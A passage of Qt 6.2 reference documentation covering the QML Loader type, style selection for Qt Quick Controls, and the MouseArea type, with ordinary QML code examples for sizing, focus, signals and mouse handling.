| --- | --- |
| sizeloader.qml | sizeitem.qml |
| 
```
import QtQuick 2.0

Item {
  width: 200; height: 200

  Loader {
    // Explicitly set the size of the
    // Loader to the parent item's size
    anchors.fill: parent
    sourceComponent: rect
  }

  Component {
    id: rect
    Rectangle {
      width: 50
      height: 50
      color: "red"
      }
  }
}
```
 | 
```
import QtQuick 2.0

Item {
  width: 200; height: 200

  Loader {
    // position the Loader in the center
    // of the parent
    anchors.centerIn: parent
    sourceComponent: rect
  }

  Component {
      id: rect
      Rectangle {
          width: 50
          height: 50
          color: "red"
      }
  }
}
```
 |
| The red rectangle will be sized to the size of the root item. | The red rectangle will be 50x50, centered in the root item. |

 ### Receiving Signals from Loaded Objects

 Any signals emitted from the loaded object can be received using the [Connections](qml-qtqml-connections) type. For example, the following `application.qml` loads `MyItem.qml`, and is able to receive the `message` signal from the loaded item through a [Connections](qml-qtqml-connections) object:

 

|  |  |
| --- | --- |
| application.qml | MyItem.qml |
| 
```
import QtQuick 2.0

Item {
    width: 100; height: 100

    Loader {
       id: myLoader
       source: "MyItem.qml"
    }

    Connections {
        target: myLoader.item
        function onMessage(msg) { console.log(msg) }
    }
}
```
 | 
```
import QtQuick 2.0

Rectangle {
   id: myItem
   signal message(string msg)

   width: 100; height: 100

   MouseArea {
       anchors.fill: parent
       onClicked: myItem.message("clicked!")
   }
}
```
 |

 Alternatively, since `MyItem.qml` is loaded within the scope of the Loader, it could also directly call any function defined in the Loader or its parent [Item](qml-qtquick-item).

 ### Focus and Key Events

 Loader is a focus scope. Its [focus](qml-qtquick-item#focus-prop) property must be set to `true` for any of its children to get the *active focus*. (See [Keyboard Focus in Qt Quick](qtquick-input-focus) for more details.) Any key events received in the loaded item should likely also be [accepted](qml-qtquick-keyevent#accepted-prop) so they are not propagated to the Loader.

 For example, the following `application.qml` loads `KeyReader.qml` when the [MouseArea](qml-qtquick-mousearea) is clicked. Notice the [focus](qml-qtquick-item#focus-prop) property is set to `true` for the Loader as well as the [Item](qml-qtquick-item) in the dynamically loaded object:

 

|  |  |
| --- | --- |
| application.qml | KeyReader.qml |
| 
```
import QtQuick 2.0

Rectangle {
    width: 200; height: 200

    Loader {
        id: loader
        focus: true
    }

    MouseArea {
        anchors.fill: parent
        onClicked: {
            loader.source = "KeyReader.qml"
        }
    }

    Keys.onPressed: (event)=> {
        console.log("Captured:",
                    event.text);
    }
}
```
 | 
```
import QtQuick 2.0

Item {
    Item {
        focus: true
        Keys.onPressed: (event)=> {
            console.log("KeyReader captured:",
                        event.text);
            event.accepted = true;
        }
    }
}
```
 |

 Once `KeyReader.qml` is loaded, it accepts key events and sets `event.accepted` to `true` so that the event is not propagated to the parent [Rectangle](qml-qtquick-rectangle).

 Since `QtQuick 2.0`, Loader can also load non-visual components.

 ### Using a Loader within a View Delegate

 In some cases you may wish to use a Loader within a view delegate to improve delegate loading performance. This works well in most cases, but there is one important issue to be aware of related to the [creation context](qml-qtqml-component#creation-context) of a Component.

 In the following example, the `index` context property inserted by the [ListView](qml-qtquick-listview) into `delegateComponent`'s context will be inaccessible to Text, as the Loader will use the creation context of `myComponent` as the parent context when instantiating it, and `index` does not refer to anything within that context chain.

 
```
Item {
    width: 400
    height: 400

    Component {
        id: myComponent
        Text { text: index }    //fails
    }

    ListView {
        anchors.fill: parent
        model: 5
        delegate: Component {
            id: delegateComponent
            Loader {
                sourceComponent: myComponent
            }
        }
    }
}
```
 In this situation we can either move the component inline,

 
```
        delegate: Component {
            Loader {
                sourceComponent: Component {
                    Text { text: index }    //okay
                }
            }
        }
```
 into a separate file,

 
```
        delegate: Component {
            Loader {
                source: "MyComponent.qml" //okay
            }
        }
```
 or explicitly set the required information as a property of the Loader (this works because the Loader sets itself as the context object for the component it is loading).

 
```
Item {
    width: 400
    height: 400

    Component {
        id: myComponent
        Text { text: modelIndex }    //okay
    }

    ListView {
        anchors.fill: parent
        model: 5
        delegate: Component {
            Loader {
                property int modelIndex: index
                sourceComponent: myComponent
            }
        }
    }
}
```
 **See also** [Dynamic Object Creation](qml-qtqml-qt#dynamic-object-creation).

 Property Documentation
----------------------

 ###  active : [bool](qml-bool)

 This property is `true` if the Loader is currently active. The default value for this property is `true`.

 If the Loader is inactive, changing the [source](qml-qtquick-loader#source-prop) or [sourceComponent](qml-qtquick-loader#sourceComponent-prop) will not cause the item to be instantiated until the Loader is made active.

 Setting the value to inactive will cause any [item](qml-qtquick-loader#item-prop) loaded by the loader to be released, but will not affect the [source](qml-qtquick-loader#source-prop) or [sourceComponent](qml-qtquick-loader#sourceComponent-prop).

 The [status](qml-qtquick-loader#status-prop) of an inactive loader is always `Null`.

 **See also** [source](qml-qtquick-loader#source-prop) and [sourceComponent](qml-qtquick-loader#sourceComponent-prop).

 ###  asynchronous : [bool](qml-bool)

 This property holds whether the component will be instantiated asynchronously. By default it is `false`.

 When used in conjunction with the [source](qml-qtquick-loader#source-prop) property, loading and compilation will also be performed in a background thread.

 Loading asynchronously creates the objects declared by the component across multiple frames, and reduces the likelihood of glitches in animation. When loading asynchronously the status will change to Loader.Loading. Once the entire component has been created, the [item](qml-qtquick-loader#item-prop) will be available and the status will change to Loader.Ready.

 Changing the value of this property to `false` while an asynchronous load is in progress will force immediate, synchronous completion. This allows beginning an asynchronous load and then forcing completion if the Loader content must be accessed before the asynchronous load has completed.

 To avoid seeing the items loading progressively set `visible` appropriately, e.g.

 
```
Loader {
    source: "mycomponent.qml"
    asynchronous: true
    visible: status == Loader.Ready
}
```
 Note that this property affects object instantiation only; it is unrelated to loading a component asynchronously via a network.

 ###  item : object

 This property holds the top-level object that is currently loaded.

 Since `QtQuick 2.0`, Loader can load any object type.

 ###  progress : [real](qml-real)

 This property holds the progress of loading QML data from the network, from 0.0 (nothing loaded) to 1.0 (finished). Most QML files are quite small, so this value will rapidly change from 0 to 1.

 **See also** [status](qml-qtquick-loader#status-prop).

 ###  source : [url](qml-url)

 This property holds the URL of the QML component to instantiate.

 Since `QtQuick 2.0`, Loader is able to load any type of object; it is not restricted to Item types.

 To unload the currently loaded object, set this property to an empty string, or set [sourceComponent](qml-qtquick-loader#sourceComponent-prop) to `undefined`. Setting `source` to a new URL will also cause the item created by the previous URL to be unloaded.

 **See also** [sourceComponent](qml-qtquick-loader#sourceComponent-prop), [status](qml-qtquick-loader#status-prop), and [progress](qml-qtquick-loader#progress-prop).

 ###  sourceComponent : Component

 This property holds the [Component](qml-qtqml-component) to instantiate.

 
```
Item {
    Component {
        id: redSquare
        Rectangle { color: "red"; width: 10; height: 10 }
    }

    Loader { sourceComponent: redSquare }
    Loader { sourceComponent: redSquare; x: 10 }
}
```
 To unload the currently loaded object, set this property to `undefined`.

 Since `QtQuick 2.0`, Loader is able to load any type of object; it is not restricted to Item types.

 **See also** [source](qml-qtquick-loader#source-prop) and [progress](qml-qtquick-loader#progress-prop).

 ###  status : [enumeration](qml-enumeration)

 This property holds the status of QML loading. It can be one of:

 * Loader.Null - the loader is inactive or no QML source has been set
* Loader.Ready - the QML source has been loaded
* Loader.Loading - the QML source is currently being loaded
* Loader.Error - an error occurred while loading the QML source

 Use this status to provide an update or respond to the status change in some way. For example, you could:

 * Trigger a state change:
```
State { name: 'loaded'; when: loader.status == Loader.Ready }
```
* Implement an `onStatusChanged` signal handler:
```
Loader {
    id: loader
    onStatusChanged: if (loader.status == Loader.Ready) console.log('Loaded')
}
```
* Bind to the status value:
```
Text { text: loader.status == Loader.Ready ? 'Loaded' : 'Not loaded' }
```

 Note that if the source is a local file, the status will initially be Ready (or Error). While there will be no onStatusChanged signal in that case, the onLoaded will still be invoked.

 **See also** [progress](qml-qtquick-loader#progress-prop).

 Signal Documentation
--------------------

 ###  loaded()

 This signal is emitted when the [status](qml-qtquick-loader#status-prop) becomes `Loader.Ready`, or on successful initial load.

 **Note:** The corresponding handler is `onLoaded`.

 Method Documentation
--------------------

 ###  object setSource([url](qml-url) *source*, object *properties*)

 Creates an object instance of the given *source* component that will have the given *properties*. The *properties* argument is optional. The instance will be accessible via the [item](qml-qtquick-loader#item-prop) property once loading and instantiation is complete.

 If the [active](qml-qtquick-loader#active-prop) property is `false` at the time when this function is called, the given *source* component will not be loaded but the *source* and initial *properties* will be cached. When the loader is made [active](qml-qtquick-loader#active-prop), an instance of the *source* component will be created with the initial *properties* set.

 Setting the initial property values of an instance of a component in this manner will **not** trigger any associated [Behavior](qml-qtquick-behavior)s.

 Note that the cached *properties* will be cleared if the [source](qml-qtquick-loader#source-prop) or [sourceComponent](qml-qtquick-loader#sourceComponent-prop) is changed after calling this function but prior to setting the loader [active](qml-qtquick-loader#active-prop).

 Example:

 

|  |  |
| --- | --- |
| 
```
// ExampleComponent.qml
import QtQuick 2.0
Rectangle {
    id: rect
    color: "red"
    width: 10
    height: 10

    Behavior on color {
        NumberAnimation {
            target: rect
            property: "width"
            to: (rect.width + 20)
            duration: 0
        }
    }
}
```
 | 
```
// example.qml
import QtQuick 2.0
Item {
    Loader {
        id: squareLoader
        onLoaded: console.log(squareLoader.item.width);
        // prints [10], not [30]
    }

    Component.onCompleted: {
        squareLoader.setSource("ExampleComponent.qml",
                             { "color": "blue" });
        // will trigger the onLoaded code when complete.
    }
}
```
 |

 **See also** [source](qml-qtquick-loader#source-prop) and [active](qml-qtquick-loader#active-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-loader.html>

Styling Qt Quick Controls
=========================

 Available Styles
----------------

 Qt Quick Controls comes with a selection of styles.

 ### Basic Style

 ![]


The [Basic Style](qtquickcontrols2-basic) is a simple and light-weight all-round style that offers the maximum performance for Qt Quick Controls.

 ### Fusion Style

 ![]


The [Fusion Style](qtquickcontrols2-fusion) is a platform-agnostic style that offers a desktop-oriented look and feel for Qt Quick Controls.

 ### Imagine Style

 ![]


The [Imagine Style](qtquickcontrols2-imagine) is based on image assets. The style comes with a default set of images which can easily be changed by providing a directory with images using a predefined naming convention.

 ### macOS Style

 ![]


The [macOS Style](qtquickcontrols2-macos) is a native-looking style for macOS.

  **Note:** this style is only available for applications running on macOS.

  ### Material Style

 ![]


The [Material Style](qtquickcontrols2-material) offers an appealing design based on the [Google Material Design Guidelines](https://www.google.com/design/spec/material-design/introduction.html), but requires more system resources than the Basic style.

 ### Universal Style

 ![]


The [Universal Style](qtquickcontrols2-universal) offers an appealing design based on the [Microsoft Universal Design Guidelines](https://dev.windows.com/design), but requires more system resources than the Basic style.

 ### Windows Style

 ![]


The [Windows Style](qtquickcontrols2-windows) is a native-looking style for Windows.

  **Note:** this style is only available for applications running on Windows.

  Using Styles in Qt Quick Controls
---------------------------------

 There are two ways of using styles in Qt Quick Controls: run-time style selection and compile-time style selection.

 ### Compile-Time Style Selection

 Compile-time style selection involves using QML imports to specify the style. For example, to import the Material style:

 
```
import QtQuick.Controls.Material

ApplicationWindow {
    // ...
}
```
 Notice that [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls (which is responsible for run-time style selection) is not imported. The fallback style is specified by the qmldir of the style:

 
```
module QtQuick.Controls.Material
# ...
import QtQuick.Controls.Basic auto
```
 The benefit of compile-time style selection is that the [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls plugin is not used and therefore does not need to be deployed with the application.

 Explicit imports are also necessary if your application is built [statically](https://doc.qt.io/qt-6.2/qtquickcontrols2-deployment.html#static-builds).

 ### Run-Time Style Selection

 Run-time style selection involves importing `QtQuick.Controls`:

 
```
import QtQuick.Controls
```
 The [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls plugin will import the style and fallback style that were set at runtime via one of the following approaches:

 * [QQuickStyle::setStyle](qquickstyle#setStyle)()
* The `-style` command line argument
* The `QT_QUICK_CONTROLS_STYLE` environment variable
* The `qtquickcontrols2.conf` configuration file

 The priority of these approaches follows the order they are listed, from highest to lowest. That is, using `QQuickStyle` to set the style will always take priority over using the command line argument, for example.

 The benefit of run-time style selection is that a single application binary can support multiple styles, meaning that the end user can choose which style to run the application with.

 #### Using QQuickStyle in C++

 [QQuickStyle](qquickstyle) provides C++ API for configuring a specific style. The following example runs a Qt Quick Controls application with the Material style:

 
```
QQuickStyle::setStyle("Material");
```
 See the detailed description of [QQuickStyle](qquickstyle) for more details.

 #### Command line argument

 Passing a `-style` command line argument is the convenient way to test different styles. It takes precedence over the other methods listed below. The following example runs a Qt Quick Controls application with the Material style:

 
```
./app -style material
```
 #### Environment variable

 Setting the `QT_QUICK_CONTROLS_STYLE` environment variable can be used to set a system-wide style preference. It takes precedence over the configuration file mentioned below. The following example runs a Qt Quick Controls application with the Universal style:

 
```
QT_QUICK_CONTROLS_STYLE=universal ./app
```
 See [Supported Environment Variables in Qt Quick Controls](qtquickcontrols2-environment) for the full list of supported environment variables.

 #### Configuration file

 Qt Quick Controls support a special configuration file, `:/qtquickcontrols2.conf`, that is built into an application's resources.

 The configuration file can specify the preferred style (may be overridden by either of the methods described earlier) and certain style-specific attributes. The following example specifies that the preferred style is the Material style.

 
```
[Controls]
Style=Material
```
 See [Qt Quick Controls Configuration File](qtquickcontrols2-configuration) for more details about the configuration file.

 Related Information
-------------------

 * [Basic Style](qtquickcontrols2-basic)
* [Fusion Style](qtquickcontrols2-fusion)
* [Imagine Style](qtquickcontrols2-imagine)
* [Material Style](qtquickcontrols2-material)
* [Universal Style](qtquickcontrols2-universal)
* [Customizing Qt Quick Controls](qtquickcontrols2-customize)
* [Using File Selectors with Qt Quick Controls](qtquickcontrols2-fileselectors)
* [Deploying Qt Quick Controls Applications](https://doc.qt.io/qt-6.2/qtquickcontrols2-deployment.html)
* [Qt Quick Controls Configuration File](qtquickcontrols2-configuration)
* [Supported Environment Variables in Qt Quick Controls](qtquickcontrols2-environment)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtquickcontrols2-styles.html>

MouseArea QML Type
==================

 Enables simple mouse handling. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-mousearea-members.html)

 Properties
----------

 * **[acceptedButtons](qml-qtquick-mousearea#acceptedButtons-prop)** : Qt::MouseButtons
* **[containsMouse](qml-qtquick-mousearea#containsMouse-prop)** : bool
* **[containsPress](qml-qtquick-mousearea#containsPress-prop)** : bool
* **[cursorShape](qml-qtquick-mousearea#cursorShape-prop)** : Qt::CursorShape
* **[drag](qml-qtquick-mousearea#drag-prop)**
	+ **[drag.active](qml-qtquick-mousearea#drag.active-prop)** : bool
	+ **[drag.axis](qml-qtquick-mousearea#drag.axis-prop)** : enumeration
	+ **[drag.filterChildren](qml-qtquick-mousearea#drag.filterChildren-prop)** : bool
	+ **[drag.maximumX](qml-qtquick-mousearea#drag.maximumX-prop)** : real
	+ **[drag.maximumY](qml-qtquick-mousearea#drag.maximumY-prop)** : real
	+ **[drag.minimumX](qml-qtquick-mousearea#drag.minimumX-prop)** : real
	+ **[drag.minimumY](qml-qtquick-mousearea#drag.minimumY-prop)** : real
	+ **[drag.smoothed](qml-qtquick-mousearea#drag.smoothed-prop)** : bool
	+ **[drag.target](qml-qtquick-mousearea#drag.target-prop)** : Item
	+ **[drag.threshold](qml-qtquick-mousearea#drag.threshold-prop)** : real
* **[enabled](qml-qtquick-mousearea#enabled-prop)** : bool
* **[hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop)** : bool
* **[mouseX](qml-qtquick-mousearea#mouseX-prop)** : real
* **[mouseY](qml-qtquick-mousearea#mouseY-prop)** : real
* **[pressAndHoldInterval](qml-qtquick-mousearea#pressAndHoldInterval-prop)** : int
* **[pressed](qml-qtquick-mousearea#pressed-prop)** : bool
* **[pressedButtons](qml-qtquick-mousearea#pressedButtons-prop)** : MouseButtons
* **[preventStealing](qml-qtquick-mousearea#preventStealing-prop)** : bool
* **[propagateComposedEvents](qml-qtquick-mousearea#propagateComposedEvents-prop)** : bool
* **[scrollGestureEnabled](qml-qtquick-mousearea#scrollGestureEnabled-prop)** : bool

 Signals
-------

 * **[canceled](qml-qtquick-mousearea#canceled-signal)**()
* **[clicked](qml-qtquick-mousearea#clicked-signal)**(MouseEvent *mouse*)
* **[doubleClicked](qml-qtquick-mousearea#doubleClicked-signal)**(MouseEvent *mouse*)
* **[entered](qml-qtquick-mousearea#entered-signal)**()
* **[exited](qml-qtquick-mousearea#exited-signal)**()
* **[positionChanged](qml-qtquick-mousearea#positionChanged-signal)**(MouseEvent *mouse*)
* **[pressAndHold](qml-qtquick-mousearea#pressAndHold-signal)**(MouseEvent *mouse*)
* **[pressed](qml-qtquick-mousearea#pressed-signal)**(MouseEvent *mouse*)
* **[released](qml-qtquick-mousearea#released-signal)**(MouseEvent *mouse*)
* **[wheel](qml-qtquick-mousearea#wheel-signal)**(WheelEvent *wheel*)

 Detailed Description
--------------------

 A MouseArea is an invisible item that is typically used in conjunction with a visible item in order to provide mouse handling for that item. By effectively acting as a proxy, the logic for mouse handling can be contained within a MouseArea item.

 The [enabled](qml-qtquick-mousearea#enabled-prop) property is used to enable and disable mouse handling for the proxied item. When disabled, the mouse area becomes transparent to mouse events.

 MouseArea is an invisible Item, but it has a visible property. When set to false, the mouse area becomes transparent to mouse events.

 The [pressed](qml-qtquick-mousearea#pressed-signal) read-only property indicates whether or not the user is holding down a mouse button over the mouse area. This property is often used in bindings between properties in a user interface. The [containsMouse](qml-qtquick-mousearea#containsMouse-prop) read-only property indicates the presence of the mouse cursor over the mouse area but, by default, only when a mouse button is held down; see the [containsMouse](qml-qtquick-mousearea#containsMouse-prop) documentation for details.

 Information about the mouse position and button clicks are provided via signals for which event handler properties are defined. The most commonly used involved handling mouse presses and clicks: onClicked, onDoubleClicked, onPressed, onReleased and onPressAndHold. It's also possible to handle mouse wheel events via the onWheel signal.

 If a MouseArea overlaps with the area of other MouseArea items, you can choose to propagate `clicked`, `doubleClicked` and `pressAndHold` events to these other items by setting [propagateComposedEvents](qml-qtquick-mousearea#propagateComposedEvents-prop) to true and rejecting events that should be propagated. See the [propagateComposedEvents](qml-qtquick-mousearea#propagateComposedEvents-prop) documentation for details.

 By default, MouseArea items only report mouse clicks and not changes to the position of the mouse cursor. Setting the [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop) property ensures that handlers defined for onPositionChanged, onEntered and onExited are used and that the [containsMouse](qml-qtquick-mousearea#containsMouse-prop) property is updated even when no mouse buttons are pressed.

 Example Usage
-------------

 
![]

 
The following example uses a MouseArea in a [Rectangle](qml-qtquick-rectangle) that changes the [Rectangle](qml-qtquick-rectangle) color to red when clicked:

 
```
import QtQuick 2.0

Rectangle {
    width: 100; height: 100
    color: "green"

    MouseArea {
        anchors.fill: parent
        onClicked: { parent.color = 'red' }
    }
}
```
 Many MouseArea signals pass a [mouse](qml-qtquick-mouseevent) parameter that contains additional information about the mouse event, such as the position, button, and any key modifiers.

 Here is an extension of the previous example that produces a different color when the area is right clicked:

 
```
Rectangle {
    width: 100; height: 100
    color: "green"

    MouseArea {
        anchors.fill: parent
        acceptedButtons: Qt.LeftButton | Qt.RightButton
        onClicked: (mouse)=> {
            if (mouse.button == Qt.RightButton)
                parent.color = 'blue';
            else
                parent.color = 'red';
        }
    }
}
```
 **See also** [MouseEvent](qml-qtquick-mouseevent), [MouseArea example](https://doc.qt.io/qt-6.2/qtquick-mousearea-example.html), and [Important Concepts In Qt Quick - User Input](https://doc.qt.io/qt-6.2/qtquick-input-topic.html).

 Property Documentation
----------------------

  ###  mouseX : [real](qml-real)

 
These properties hold the coordinates of the mouse cursor.

 If the [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop) property is false then these properties will only be valid while a button is pressed, and will remain valid as long as the button is held down even if the mouse is moved outside the area.

 By default, this property is false.

 If [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop) is true then these properties will be valid when:

 * no button is pressed, but the mouse is within the [MouseArea](qml-qtquick-mousearea) ([containsMouse](qml-qtquick-mousearea#containsMouse-prop) is true).
* a button is pressed and held, even if it has since moved out of the area.

 The coordinates are relative to the [MouseArea](qml-qtquick-mousearea).

 ###  acceptedButtons : Qt::MouseButtons

 This property holds the mouse buttons that the mouse area reacts to.

 To specify that the [MouseArea](qml-qtquick-mousearea) will react to multiple buttons, [Qt::MouseButtons](qt#MouseButton-enum) flag values are combined using the "|" (or) operator:

 
```
MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton }
```
 To indicate that all possible mouse buttons are to be accepted, the special value 'Qt.AllButtons' may be used:

 
```
MouseArea { acceptedButtons: Qt.AllButtons }
```
 The default value is `Qt.LeftButton`.

 ###  containsMouse : [bool](qml-bool)

 This property holds whether the mouse is currently inside the mouse area.

  **Warning:** If [hoverEnabled](qml-qtquick-mousearea#hoverEnabled-prop) is false, containsMouse will only be valid when the mouse is pressed while the mouse cursor is inside the [MouseArea](qml-qtquick-mousearea).

  ###  [since 5.4] containsPress : [bool](qml-bool)

 This is a convenience property equivalent to `pressed && containsMouse`, i.e. it holds whether any of the [acceptedButtons](qml-qtquick-mousearea#acceptedButtons-prop) are currently pressed and the mouse is currently within the [MouseArea](qml-qtquick-mousearea).

 This property is particularly useful for highlighting an item while the mouse is pressed within its bounds.

 This property was introduced in Qt 5.4.

 **See also** [pressed](qml-qtquick-mousearea#pressed-signal) and [containsMouse](qml-qtquick-mousearea#containsMouse-prop).

 ###  cursorShape : Qt::CursorShape

 This property holds the cursor shape for this mouse area. Note that on platforms that do not display a mouse cursor this may have no effect.

 The available cursor shapes are:

 * Qt.ArrowCursor
* Qt.UpArrowCursor
* Qt.CrossCursor
* Qt.WaitCursor
* Qt.IBeamCursor
* Qt.SizeVerCursor
* Qt.SizeHorCursor
* Qt.SizeBDiagCursor
* Qt.SizeFDiagCursor
* Qt.SizeAllCursor
* Qt.BlankCursor
* Qt.SplitVCursor
* Qt.SplitHCursor
* Qt.PointingHandCursor
* Qt.ForbiddenCursor
* Qt.WhatsThisCursor
* Qt.BusyCursor
* Qt.OpenHandCursor
* Qt.ClosedHandCursor
* Qt.DragCopyCursor
* Qt.DragMoveCursor
* Qt.DragLinkCursor

 In order to only set a mouse cursor shape for a region without reacting to mouse events set the [acceptedButtons](qml-qtquick-mousearea#acceptedButtons-prop) to none:

 
```
MouseArea { cursorShape: Qt.IBeamCursor; acceptedButtons: Qt.NoButton }
```
 The default value is `Qt.ArrowCursor`.

 **See also** [Qt::CursorShape](qt#CursorShape-enum).

 ###  drag.active : [bool](qml-bool)

 `drag` provides a convenient way to make an item draggable.

 * `drag.target` specifies the id of the item to drag.
* `drag.active` specifies if the target item is currently being dragged.
* `drag.axis` specifies whether dragging can be done horizontally (`Drag.XAxis`), vertically (`Drag.YAxis`), or both (`Drag.XAndYAxis`)
* `drag.minimum` and `drag.maximum` limit how far the target can be dragged along the corresponding axes.

 The following example displays a [Rectangle](qml-qtquick-rectangle) that can be dragged along the X-axis. The opacity of the rectangle is reduced when it is dragged to the right.

 
```
Rectangle {
    id: container
    width: 600; height: 200

    Rectangle {
        id: rect
        width: 50; height: 50
        color: "red"
        opacity: (600.0 - rect.x) / 600

        MouseArea {
            anchors.fill: parent
            drag.target: rect
            drag.axis: Drag.XAxis
            drag.minimumX: 0
            drag.maximumX: container.width - rect.width
        }
    }
}
```
  **Note:** Items cannot be dragged if they are anchored for the requested `drag.axis`. For example, if `anchors.left` or `anchors.right` was set for `rect` in the above example, it cannot be dragged along the X-axis. This can be avoided by settng the anchor value to `undefined` in an [onPressed](qml-qtquick-mousearea#pressed-signal) handler.

  If `drag.filterChildren` is set to true, a drag can override descendant MouseAreas. This enables a parent [MouseArea](qml-qtquick-mousearea) to handle drags, for example, while descendants handle clicks:

 `drag.threshold` determines the threshold in pixels of when the drag operation should start. By default this is bound to a platform dependent value. This property was added in Qt Quick 2.2.

 If `drag.smoothed` is `true`, the target will be moved only after the drag operation has started. If set to `false`, the target will be moved straight to the current mouse position. By default, this property is `true`. This property was added in Qt Quick 2.4

 See the [Drag](qml-qtquick-drag) attached property and [DropArea](qml-qtquick-droparea) if you want to make a drop.

 
```
import QtQuick 2.0

Rectangle {
    width: 480
    height: 320
    Rectangle {
        x: 30; y: 30
        width: 300; height: 240
        color: "lightsteelblue"

        MouseArea {
            anchors.fill: parent
            drag.target: parent;
            drag.axis: "XAxis"
            drag.minimumX: 30
            drag.maximumX: 150
            drag.filterChildren: true

            Rectangle {
                color: "yellow"
                x: 50; y : 50
                width: 100; height: 100
                MouseArea {
                    anchors.fill: parent
                    onClicked: console.log("Clicked")
                }
            }
        }
    }
}
```
 ###  enabled : [bool](qml-bool)

 This property holds whether the item accepts mouse events.

  **Note:** Due to historical reasons, this property is not equivalent to Item.enabled. It only affects mouse events, and its effect does not propagate to child items.

  By default, this property is true.

 ###  hoverEnabled : [bool](qml-bool)

 This property holds whether hover events are handled.

 By default, mouse events are only handled in response to a button event, or when a button is pressed. Hover enables handling of all mouse events even when no mouse button is pressed.

 This property affects the [containsMouse](qml-qtquick-mousearea#containsMouse-prop) property and the onEntered, onExited and onPositionChanged signals.

 ###  [since 5.9] pressAndHoldInterval : [int](qml-int)

 This property overrides the elapsed time in milliseconds before `pressAndHold` is emitted.

 If not explicitly set -- or after reset -- the value follows `QStyleHints::mousePressAndHoldInterval`.

 Typically it's sufficient to set this property globally using the application style hint. This property should be used when varying intervals are needed for certain MouseAreas.

 This property was introduced in Qt 5.9.

 **See also** [pressAndHold](qml-qtquick-mousearea#pressAndHold-signal).

 ###  pressed : [bool](qml-bool)

 This property holds whether any of the [acceptedButtons](qml-qtquick-mousearea#acceptedButtons-prop) are currently pressed.

 ###  pressedButtons : MouseButtons

 This property holds the mouse buttons currently pressed.

 It contains a bitwise combination of:

 * Qt.LeftButton
* Qt.RightButton
* Qt.MiddleButton

 The code below displays "right" when the right mouse buttons is pressed:

 
```
Text {
    text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
    horizontalAlignment: Text.AlignHCenter
    verticalAlignment: Text.AlignVCenter

    MouseArea {
        id: mouseArea
        anchors.fill: parent
        acceptedButtons: Qt.LeftButton | Qt.RightButton
    }
}
```
  **Note:** this property only handles buttons specified in [acceptedButtons](qml-qtquick-mousearea#acceptedButtons-prop).

  **See also** [acceptedButtons](qml-qtquick-mousearea#acceptedButtons-prop).

 ###  preventStealing : [bool](qml-bool)

 This property holds whether the mouse events may be stolen from this [MouseArea](qml-qtquick-mousearea).

 If a [MouseArea](qml-qtquick-mousearea) is placed within an item that filters child mouse events, such as Flickable, the mouse events may be stolen from the [MouseArea](qml-qtquick-mousearea) if a gesture is recognized by the parent item, e.g. a flick gesture. If preventStealing is set to true, no item will steal the mouse events.

 Note that setting preventStealing to true once an item has started stealing events will have no effect until the next press event.

 By default this property is false.

 ###  propagateComposedEvents : [bool](qml-bool)

 This property holds whether composed mouse events will automatically propagate to other MouseAreas that overlap with this [MouseArea](qml-qtquick-mousearea) but are lower in the visual stacking order. By default, this property is false.

 [MouseArea](qml-qtquick-mousearea) contains several composed events: `clicked`, `doubleClicked` and `pressAndHold`. These are composed of basic mouse events, like `pressed`, and can be propagated differently in comparison to basic events.

 If propagateComposedEvents is set to true, then composed events will be automatically propagated to other MouseAreas in the same location in the scene. Each event is propagated to the next [enabled](qml-qtquick-mousearea#enabled-prop) [MouseArea](qml-qtquick-mousearea) beneath it in the stacking order, propagating down this visual hierarchy until a [MouseArea](qml-qtquick-mousearea) accepts the event. Unlike `pressed` events, composed events will not be automatically accepted if no handler is present.

 For example, below is a yellow [Rectangle](qml-qtquick-rectangle) that contains a blue [Rectangle](qml-qtquick-rectangle). The blue rectangle is the top-most item in the hierarchy of the visual stacking order; it will visually rendered above the yellow rectangle. Since the blue rectangle sets propagateComposedEvents to true, and also sets [MouseEvent::accepted](qml-qtquick-mouseevent#accepted-prop) to false for all received `clicked` events, any `clicked` events it receives are propagated to the [MouseArea](qml-qtquick-mousearea) of the yellow rectangle beneath it.

 
```
import QtQuick 2.0

Rectangle {
    color: "yellow"
    width: 100; height: 100

    MouseArea {
        anchors.fill: parent
        onClicked: console.log("clicked yellow")
    }

    Rectangle {
        color: "blue"
        width: 50; height: 50

        MouseArea {
            anchors.fill: parent
            propagateComposedEvents: true
            onClicked: (mouse)=> {
                console.log("clicked blue")
                mouse.accepted = false
            }
        }
    }
}
```
 Clicking on the blue rectangle will cause the `onClicked` handler of its child [MouseArea](qml-qtquick-mousearea) to be invoked; the event will then be propagated to the [MouseArea](qml-qtquick-mousearea) of the yellow rectangle, causing its own `onClicked` handler to be invoked.

 This property greatly simplifies the usecase of when you want to have overlapping MouseAreas handling the composed events together. For example: if you want one [MouseArea](qml-qtquick-mousearea) to handle `clicked` signals and the other to handle `pressAndHold`, or if you want one [MouseArea](qml-qtquick-mousearea) to handle `clicked` most of the time, but pass it through when certain conditions are met.

 ###  [since 5.5] scrollGestureEnabled : [bool](qml-bool)

 This property controls whether this [MouseArea](qml-qtquick-mousearea) responds to scroll gestures from non-mouse devices, such as the 2-finger flick gesture on a trackpad. If set to false, the [wheel](qml-qtquick-mousearea#wheel-signal) signal be emitted only when the wheel event comes from an actual mouse with a wheel, while scroll gesture events will pass through to any other Item that will handle them. For example, the user might perform a flick gesture while the cursor is over an item containing a [MouseArea](qml-qtquick-mousearea), intending to interact with a Flickable which is underneath. Setting this property to false will allow the [PinchArea](qml-qtquick-pincharea) to handle the mouse wheel or the pinch gesture, while the Flickable handles the flick gesture.

 By default, this property is true.

 This property was introduced in Qt 5.5.

 Signal Documentation
--------------------

 ###  canceled()

 This signal is emitted when mouse events have been canceled, because another item stole the mouse event handling.

